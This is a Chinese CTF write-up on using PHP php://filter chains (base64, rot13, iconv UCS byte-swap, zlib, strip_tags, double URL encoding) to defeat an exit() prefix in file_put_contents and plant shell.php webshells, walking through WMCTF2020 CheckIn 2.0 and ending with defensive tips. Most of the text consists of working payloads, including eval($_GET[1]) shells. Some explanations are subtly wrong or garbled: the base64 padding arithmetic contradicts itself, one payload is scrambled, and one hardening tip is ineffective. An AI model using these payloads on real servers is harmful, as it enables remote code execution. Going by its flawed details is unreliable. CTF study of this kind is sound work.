实战复盘:我是如何用PHP Filter伪协议绕过死亡exit,拿下CTF赛题的
·
从死亡exit到WebShell:PHP Filter伪协议的CTF实战艺术
当你在CTF赛场上遇到 file_put_contents($filename, "<?php exit();".$content); 这样的代码时,是否感到束手无策?本文将带你深入探索PHP Filter伪协议的魔法世界,通过WMCTF2020真实赛题拆解,揭示如何用过滤器链实现代码执行的华丽转身。
1. 理解PHP Filter协议的核心机制
PHP的 php://filter 协议本质上是一个数据流处理管道,它允许我们在读取或写入数据时,对数据流进行多层加工处理。这个特性在CTF题目中常常成为突破防御的关键。
过滤器链的工作方式类似于Unix管道:
// 典型的多层过滤器结构示例
file_get_contents("php://filter/read=convert.base64-encode|string.rot13/resource=data://text/plain,test");
过滤器主要分为四大类 :
| 类型 | 前缀 | 典型过滤器示例 |
|---|---|---|
| 字符串过滤器 | string. | rot13, toupper, strip_tags |
| 转换过滤器 | convert. | base64-encode, iconv |
| 压缩过滤器 | zlib./bzip2. | deflate, inflate |
| 加密过滤器 | mcrypt. | (PHP 7.1.0后已废弃) |
关键特性:当过滤器链遇到无法识别的规则时,PHP会抛出Warning但继续执行后续操作,这个特性常被用于构造非常规攻击路径。
2. 死亡exit的六种破解之道
2.1 Base64编码的艺术
Base64解码会按4字节一组处理输入,利用这个特性可以构造精确的填充攻击:
$payload = "aPD9waHAgcGhwaW5mbygpOz8+"; // 原始内容:<?php phpinfo();?>
$filename = "php://filter/write=convert.base64-decode/resource=shell.php";
填充计算技巧 :
- 计算
<?php exit();的Base64编码长度(12字节) - 添加
a字符使总长度成为4的倍数(12+1=13 → 需要补到16) - 最终需要添加3个填充字符
2.2 ROT13的字符魔术
利用字符串旋转避开关键词检测:
$content = "<?cuc cucvasb();?>"; // rot13编码后的<?php phpinfo();?>
$filename = "php://filter/write=string.rot13/resource=shell.php";
2.3 编码转换的位操作
UCS-2和UCS-4编码转换会产生字节序反转效果:
// UCS-2LE到UCS-2BE转换示例(2字节反转)
$payload = "?<hp phpipfn(o;)>?";
$filename = "php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php";
// UCS-4LE到UCS-4BE转换示例(4字节反转)
$payload = "aa?<aa phpiphp(ofn>?;)";
$filename = "php://filter/write=convert.iconv.UCS-4LE.UCS-4BE/resource=shell.php";
2.4 压缩过滤器的变形术
通过压缩-处理-解压流程破坏原始结构:
$content = 'php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php eval($_GET[1]);?>/resource=shell.php';
2.5 标签剥离的巧妙利用
先用 ?> 闭合前标签,再用strip_tags清除:
$content = "?>PD9waHAgcGhwaW5mbygpOz8+";
$filename = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
2.6 双重URL编码的障眼法
当题目过滤关键词时,可采用二次编码绕过:
// 原始:convert.iconv.UCS-2LE.UCS-2BE
// 一次编码:%63%6f%6e%76%65%72%74%2e%69%63%6f%6e%76%2e%55%43%53%2d%32%4c%45%2e%55%43%53%2d%32%42%45
// 二次编码:
$payload = "%2563%256f%256e%2576%2565%2572%2574%252e%2569%2563%256f%256e%2576%252e%2555%2543%2553%252d%2532%254c%2545%252e%2555%2543%2553%252d%2532%2542%2545";
$filename = "php://filter/write=$payload|?<hp phpipfn(o;)>?/resource=shell.php";
3. WMCTF2020 CheckIn 2.0实战复盘
分析题目给出的限制条件:
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content)) die('hacker');
突破路径一:编码嵌套
- 使用二次URL编码绕过关键词检测
- 构造UCS-2编码转换payload
- 最终执行代码:
content=php://filter/write=%2563%256f%256e%2576%2565%2572%2574%252e%2569%2563%256f%256e%2576%252e%2555%2543%2553%252d%2532%254c%2545%252e%2555%2543%2553%252d%2532%2542%2545|aa<ap?phe av(l_$OPTS'[1mnsw0]';)hpipfn(o;)>?/resource=shell.php
突破路径二:压缩变形
- 利用zlib过滤器链破坏原始结构
- 插入string.tolower干扰exit的完整性
- 最终payload:
content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php eval($_GET[1]);?>/resource=shell.php
4. 防御视角的思考与实践
虽然这些技巧在CTF中很有效,但在真实环境中防御也很有必要:
安全建议 :
- 禁用危险的协议包装器:
ini_set('allow_url_fopen', 'off'); - 严格限制文件写入路径:
realpath()检查+目录白名单 - 内容安全检查:不仅检查扩展名,还要验证文件魔数
- 使用现代PHP版本(≥8.0)并开启严格模式
// 安全的文件写入示例
$safe_dir = '/var/www/uploads/';
$filename = basename($_POST['filename']);
if(!preg_match('/^[a-z0-9_-]+\.txt$/i', $filename)) {
die('Invalid filename');
}
$path = $safe_dir . $filename;
file_put_contents($path, strip_tags($_POST['content']));
在CTF赛场上,这些Filter技巧就像是一把把特制的钥匙,而现实世界的安全防护则需要建立完整的防御体系。理解攻击原理的目的,最终是为了构建更坚固的防御。
更多推荐
所有评论(0)